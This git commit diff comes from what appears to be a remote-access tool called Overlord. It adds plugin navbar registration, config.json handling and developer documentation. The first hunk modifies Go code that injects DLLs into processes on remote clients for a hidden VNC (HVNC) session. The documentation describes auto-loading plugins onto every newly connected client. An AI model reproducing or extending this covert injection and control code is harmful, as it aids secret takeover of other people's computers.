add more plugin options + don't inject in HVNC if DXGI is set to off.
This commit is contained in:
@@ -808,7 +808,11 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
|
||||
|
||||
if len(captureDllBytes) > 0 {
|
||||
go hvncDeferredGPUInject(pid, captureDllBytes)
|
||||
if !hvncDXGIEnabled.Load() {
|
||||
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
||||
} else {
|
||||
go hvncDeferredGPUInject(pid, captureDllBytes)
|
||||
}
|
||||
}
|
||||
|
||||
return pid, nil
|
||||
|
||||
@@ -9,6 +9,7 @@ import {
|
||||
import { mountNav } from "./nav/template.js";
|
||||
import { createAdaptiveNavController } from "./nav/layout.js";
|
||||
import { applyUserRoleUI } from "./nav/role-ui.js";
|
||||
import { loadPluginNavItems } from "./nav/plugins-loader.js";
|
||||
|
||||
const host = document.getElementById("top-nav");
|
||||
if (host) {
|
||||
@@ -38,23 +39,27 @@ if (host) {
|
||||
"/file-share": "file-share-link",
|
||||
"/purgatory": "enrollment-link",
|
||||
};
|
||||
const activeId = activeMap[path];
|
||||
if (activeId) {
|
||||
const el = document.getElementById(activeId);
|
||||
if (el) {
|
||||
el.classList.add("nav-active");
|
||||
// Also expand the parent sidebar group if applicable
|
||||
const group = el.closest(".sb-group");
|
||||
if (group) {
|
||||
const btn = group.querySelector(".sb-group-btn");
|
||||
const children = group.querySelector(".sb-group-children");
|
||||
const chevron = btn?.querySelector(".sb-chevron");
|
||||
if (btn) btn.setAttribute("aria-expanded", "true");
|
||||
if (children) children.classList.add("sb-group-open");
|
||||
if (chevron) chevron.classList.add("sb-chevron-open");
|
||||
|
||||
loadPluginNavItems(activeMap).then(() => {
|
||||
const activeId = activeMap[path];
|
||||
if (activeId) {
|
||||
const el = document.getElementById(activeId);
|
||||
if (el) {
|
||||
el.classList.add("nav-active");
|
||||
// Also expand the parent sidebar group if applicable
|
||||
const group = el.closest(".sb-group");
|
||||
if (group) {
|
||||
const btn = group.querySelector(".sb-group-btn");
|
||||
const children = group.querySelector(".sb-group-children");
|
||||
const chevron = btn?.querySelector(".sb-chevron");
|
||||
if (btn) btn.setAttribute("aria-expanded", "true");
|
||||
if (children) children.classList.add("sb-group-open");
|
||||
if (chevron) chevron.classList.add("sb-chevron-open");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) {
|
||||
refs.logoutBtn.dataset.boundLogout = "true";
|
||||
refs.logoutBtn.addEventListener("click", async () => {
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
import { dropdownItem, sidebarChild } from "./template.js";
|
||||
|
||||
export async function loadPluginNavItems(activeMap) {
|
||||
try {
|
||||
const res = await fetch("/api/plugins");
|
||||
if (!res.ok) return;
|
||||
|
||||
const data = await res.json();
|
||||
const plugins = data.plugins;
|
||||
if (!plugins || !Array.isArray(plugins)) return;
|
||||
|
||||
const navPlugins = plugins.filter(
|
||||
(p) => p.navbar && p.enabled
|
||||
);
|
||||
|
||||
if (navPlugins.length === 0) return;
|
||||
|
||||
const isSidebar = document.querySelector(".sb-group[data-group='plugin_apps']");
|
||||
const wg = document.querySelector(".nav-dd-wrapper[data-group='plugin_apps']");
|
||||
const container = isSidebar ? document.querySelector(".sb-group[data-group='plugin_apps']") : wg;
|
||||
|
||||
if (!container) return;
|
||||
|
||||
const childContainer = isSidebar
|
||||
? container.querySelector(".sb-group-children")
|
||||
: container.querySelector(".nav-dd-menu");
|
||||
|
||||
if (!childContainer) return;
|
||||
|
||||
const itemsHtml = navPlugins.map((p) => {
|
||||
const linkId = `plugin-nav-${p.id}`;
|
||||
activeMap[`/plugins/${p.id}`] = linkId;
|
||||
|
||||
const childObj = {
|
||||
href: `/plugins/${p.id}`,
|
||||
label: p.navbar.label || p.name,
|
||||
icon: p.navbar.icon || "fa-cube",
|
||||
iconColor: "text-slate-300",
|
||||
linkId: linkId,
|
||||
};
|
||||
|
||||
return isSidebar ? sidebarChild(childObj) : dropdownItem(childObj);
|
||||
}).join("");
|
||||
|
||||
childContainer.innerHTML = itemsHtml;
|
||||
container.classList.remove("hidden");
|
||||
|
||||
} catch (err) {
|
||||
console.error("Failed to load plugin nav items", err);
|
||||
}
|
||||
}
|
||||
@@ -4,7 +4,7 @@ export const NAV_MODE_KEY = "sb_mode";
|
||||
NAVIGATION DATA — single source of truth
|
||||
────────────────────────────────────────────── */
|
||||
|
||||
const NAV_GROUPS = [
|
||||
export const NAV_GROUPS = [
|
||||
{
|
||||
id: "clients",
|
||||
label: "Clients",
|
||||
@@ -65,13 +65,21 @@ const NAV_GROUPS = [
|
||||
{ href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: "plugin_apps",
|
||||
label: "Plugin Apps",
|
||||
icon: "fa-plug",
|
||||
iconColor: "text-fuchsia-400",
|
||||
hidden: true,
|
||||
children: [],
|
||||
}
|
||||
];
|
||||
|
||||
/* ──────────────────────────────────────────────
|
||||
TOPBAR — dropdown menus
|
||||
────────────────────────────────────────────── */
|
||||
|
||||
function dropdownItem(child) {
|
||||
export function dropdownItem(child) {
|
||||
const hiddenCls = child.hidden ? " hidden" : "";
|
||||
const badgeHtml = child.hasBadge
|
||||
? `<span id="enrollment-badge" class="nav-dd-badge hidden"></span>`
|
||||
@@ -100,8 +108,9 @@ function dropdownGroup(group) {
|
||||
}
|
||||
// Dropdown group — wrapper always visible, children control visibility
|
||||
const items = group.children.map(dropdownItem).join("");
|
||||
const groupHidden = group.hidden ? " hidden" : "";
|
||||
return `
|
||||
<div class="nav-dd-wrapper" data-group="${group.id}">
|
||||
<div class="nav-dd-wrapper${groupHidden}" data-group="${group.id}">
|
||||
<button class="nav-dd-group-btn" data-group="${group.id}" aria-haspopup="true" aria-expanded="false">
|
||||
<i class="fa-solid ${group.icon} ${group.iconColor}"></i>
|
||||
<span>${group.label}</span>
|
||||
@@ -217,7 +226,7 @@ function mountTopbar(host) {
|
||||
SIDEBAR — tree-style expandable
|
||||
────────────────────────────────────────────── */
|
||||
|
||||
function sidebarChild(child) {
|
||||
export function sidebarChild(child) {
|
||||
const hiddenCls = child.hidden ? " hidden" : "";
|
||||
const badgeHtml = child.hasBadge
|
||||
? `<span id="enrollment-badge" class="sb-badge hidden"></span>`
|
||||
@@ -246,8 +255,9 @@ function sidebarGroup(group) {
|
||||
}
|
||||
// Expandable group — wrapper always visible, children control visibility
|
||||
const childrenHtml = group.children.map(sidebarChild).join("");
|
||||
const groupHidden = group.hidden ? " hidden" : "";
|
||||
return `
|
||||
<div class="sb-group" data-group="${group.id}">
|
||||
<div class="sb-group${groupHidden}" data-group="${group.id}">
|
||||
<button class="sb-group-btn" data-group="${group.id}" aria-expanded="false">
|
||||
<i class="fa-solid ${group.icon} ${group.iconColor} sb-icon"></i>
|
||||
<span class="sb-text">${group.label}</span>
|
||||
|
||||
@@ -270,6 +270,10 @@ export type PluginManifest = {
|
||||
css?: string;
|
||||
js?: string;
|
||||
};
|
||||
navbar?: {
|
||||
label?: string;
|
||||
icon?: string;
|
||||
};
|
||||
};
|
||||
|
||||
export type PluginSignatureInfo = {
|
||||
|
||||
@@ -80,6 +80,7 @@ export async function ensurePluginExtracted(
|
||||
let htmlEntry: Buffer | null = null;
|
||||
let cssEntry: Buffer | null = null;
|
||||
let jsEntry: Buffer | null = null;
|
||||
let configEntry: Buffer | null = null;
|
||||
const nativeBinaries: Map<string, Buffer> = new Map();
|
||||
|
||||
for (const entry of entries) {
|
||||
@@ -94,6 +95,8 @@ export async function ensurePluginExtracted(
|
||||
cssEntry = entry.getData();
|
||||
} else if (lower.endsWith(".js")) {
|
||||
jsEntry = entry.getData();
|
||||
} else if (lower === "config.json") {
|
||||
configEntry = entry.getData();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -114,10 +117,20 @@ export async function ensurePluginExtracted(
|
||||
await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry);
|
||||
await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry);
|
||||
|
||||
let extraConfig: any = {};
|
||||
if (configEntry) {
|
||||
try {
|
||||
extraConfig = JSON.parse(configEntry.toString("utf-8"));
|
||||
} catch (err) {
|
||||
logger.warn(`[plugin] invalid config.json in bundle ${safeId}, ignoring: ${err}`);
|
||||
}
|
||||
}
|
||||
|
||||
const manifest: PluginManifest = {
|
||||
id: safeId,
|
||||
name: safeId,
|
||||
version: "1.0.0",
|
||||
name: extraConfig.name || safeId,
|
||||
version: extraConfig.version || "1.0.0",
|
||||
description: extraConfig.description,
|
||||
binaries: binariesMap,
|
||||
entry: `${safeId}.html`,
|
||||
assets: {
|
||||
@@ -125,6 +138,7 @@ export async function ensurePluginExtracted(
|
||||
css: `${safeId}.css`,
|
||||
js: `${safeId}.js`,
|
||||
},
|
||||
...(extraConfig.navbar && { navbar: extraConfig.navbar }),
|
||||
};
|
||||
await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2));
|
||||
|
||||
|
||||
+96
-5
@@ -31,7 +31,8 @@ sample.zip
|
||||
├─ sample-windows-amd64.dll
|
||||
├─ sample.html
|
||||
├─ sample.css
|
||||
└─ sample.js
|
||||
├─ sample.js
|
||||
└─ config.json (optional — enables navbar & metadata)
|
||||
```
|
||||
|
||||
When the server extracts the zip:
|
||||
@@ -42,7 +43,7 @@ Overlord-Server/plugins/sample/
|
||||
├─ sample-linux-arm64.so
|
||||
├─ sample-darwin-arm64.dylib
|
||||
├─ sample-windows-amd64.dll
|
||||
├─ manifest.json (auto-generated)
|
||||
├─ manifest.json (auto-generated, merged with config.json)
|
||||
└─ assets/
|
||||
├─ sample.html
|
||||
├─ sample.css
|
||||
@@ -66,13 +67,14 @@ The server will **never** send an x64 binary to an ARM client (or vice versa). I
|
||||
|
||||
### Manifest fields
|
||||
|
||||
The auto-generated manifest:
|
||||
The auto-generated manifest (merged with `config.json` if present):
|
||||
|
||||
```json
|
||||
{
|
||||
"id": "sample",
|
||||
"name": "sample",
|
||||
"name": "Sample Plugin",
|
||||
"version": "1.0.0",
|
||||
"description": "An example plugin",
|
||||
"binaries": {
|
||||
"linux-amd64": "sample-linux-amd64.so",
|
||||
"linux-arm64": "sample-linux-arm64.so",
|
||||
@@ -84,10 +86,41 @@ The auto-generated manifest:
|
||||
"html": "sample.html",
|
||||
"css": "sample.css",
|
||||
"js": "sample.js"
|
||||
},
|
||||
"navbar": {
|
||||
"label": "Sample",
|
||||
"icon": "fa-cube"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The `navbar` field is only present when a `config.json` is included in the bundle.
|
||||
|
||||
### Global Nav Bar Plugins (`config.json`)
|
||||
|
||||
Include an optional `config.json` in the root of your plugin zip to register the plugin in the global navigation bar. This is suited for plugins that operate across all clients (e.g. a global clipboard manager) rather than requiring a specific `?clientId=` to be selected first.
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "My Plugin",
|
||||
"version": "1.0.0",
|
||||
"description": "A global plugin",
|
||||
"navbar": {
|
||||
"label": "My Plugin",
|
||||
"icon": "fa-cube"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**`navbar.icon`** accepts any [Font Awesome 6 solid icon class](https://fontawesome.com/icons?s=solid) without the `fa-solid` prefix, e.g. `fa-clipboard`, `fa-network-wired`, `fa-key`.
|
||||
|
||||
When the server extracts the bundle:
|
||||
- `config.json` fields are merged into the auto-generated `manifest.json`
|
||||
- If the plugin is also `enabled`, it will appear in the **"Plugin Apps"** group in the sidebar/topbar
|
||||
- Clicking the nav entry opens the plugin at `/plugins/<id>` — **without** a `?clientId=` parameter, suitable for global operation
|
||||
|
||||
> **Important:** `config.json` must be in the **root** of the zip (not inside a subfolder). The build scripts automatically include it if it exists at the plugin source root. The manifest is re-generated on every extraction (triggered when the zip is newer than `manifest.json`), so keep `config.json` in the zip to avoid losing the navbar registration on re-upload.
|
||||
|
||||
## 2) Plugin ABI (all languages)
|
||||
|
||||
Every plugin — regardless of language — must export **C-callable functions** with specific signatures. The ABI differs slightly between Windows and Unix.
|
||||
@@ -465,14 +498,28 @@ Plugin UI is embedded directly in the main page at:
|
||||
/plugins/<pluginId>?clientId=<CLIENT_ID>
|
||||
```
|
||||
|
||||
For **global nav bar plugins** (those registered via `config.json`), the UI opens without a client ID:
|
||||
|
||||
```
|
||||
/plugins/<pluginId>
|
||||
```
|
||||
|
||||
The server reads your `<pluginId>.html`, extracts the body content, and renders it inside the standard Overlord layout. Your CSS and JS are loaded from `/plugins/<pluginId>/assets/`.
|
||||
|
||||
To get the `clientId` in your JS:
|
||||
To get the `clientId` in your JS (for per-client plugins):
|
||||
|
||||
```js
|
||||
const clientId = new URLSearchParams(window.location.search).get("clientId");
|
||||
```
|
||||
|
||||
For global plugins, `clientId` will be `null`. Use `/api/clients?status=online&pageSize=1000` to enumerate connected clients and broadcast events to all of them:
|
||||
|
||||
```js
|
||||
const res = await fetch("/api/clients?status=online&pageSize=1000");
|
||||
const { items } = await res.json();
|
||||
const onlineIds = items.filter(c => c.online).map(c => c.id);
|
||||
```
|
||||
|
||||
## 6) Runtime: how events flow
|
||||
|
||||
Overlord plugins have **two parts**:
|
||||
@@ -556,6 +603,42 @@ Your plugin JS runs in the same browsing context as the main UI, so `fetch()` ca
|
||||
|
||||
Plugin assets (CSS, JS, images) are served from `/plugins/<pluginId>/assets/`.
|
||||
|
||||
### CSP-safe JavaScript
|
||||
|
||||
The Overlord UI enforces a **Content Security Policy** that blocks `unsafe-inline` script execution. This means:
|
||||
|
||||
- **No** `onclick="..."`, `onchange="..."`, or other inline event handler attributes in HTML strings
|
||||
- **No** `javascript:` URLs
|
||||
- **No** `eval()` or `new Function()`
|
||||
|
||||
When dynamically generating HTML (e.g. in a `renderRules()` function), use `data-*` attributes and event delegation instead:
|
||||
|
||||
```js
|
||||
// ❌ Blocked by CSP
|
||||
element.innerHTML = `<button onclick="removeItem(${i})">Remove</button>`;
|
||||
|
||||
// ✅ CSP-safe
|
||||
element.innerHTML = `<button class="remove-btn" data-index="${i}">Remove</button>`;
|
||||
element.addEventListener("click", (e) => {
|
||||
if (!e.target.classList.contains("remove-btn")) return;
|
||||
const index = parseInt(e.target.getAttribute("data-index"), 10);
|
||||
removeItem(index);
|
||||
});
|
||||
```
|
||||
|
||||
### Avoiding redeclaration errors
|
||||
|
||||
Because the plugin UI is injected into a persistent single-page application, navigating away and back to a plugin page causes the plugin's JS file to be re-evaluated in the **same global scope**. Using top-level `const` / `let` declarations will throw `SyntaxError: Identifier '...' has already been declared` on the second load.
|
||||
|
||||
**Wrap all plugin JS in an IIFE** to scope everything locally:
|
||||
|
||||
```js
|
||||
(() => {
|
||||
const MY_CONST = "value"; // safe — scoped to this closure
|
||||
// ... rest of plugin code
|
||||
})();
|
||||
```
|
||||
|
||||
## 8) API surface
|
||||
|
||||
### Plugin management
|
||||
@@ -598,6 +681,14 @@ When auto-load is enabled for a plugin, the server will automatically load it on
|
||||
|
||||
You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction.
|
||||
|
||||
### Autostart switch in global plugin UI
|
||||
|
||||
Global nav bar plugins (those with a `navbar` entry in `config.json`) can expose an **"Autostart on new clients"** toggle directly in their UI. This checkbox controls whether new clients that connect will automatically have the plugin loaded and the current configuration replayed.
|
||||
|
||||
When the switch is checked, the UI calls `POST /api/plugins/<id>/autoload` with `autoLoad: true` and the current `autoStartEvents` (rule set + start order). When unchecked, it sets `autoLoad: false` — new clients won't receive the plugin unless manually triggered.
|
||||
|
||||
The switch state is saved to the server and restored when the plugin page is reopened.
|
||||
|
||||
### Enable auto-load
|
||||
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user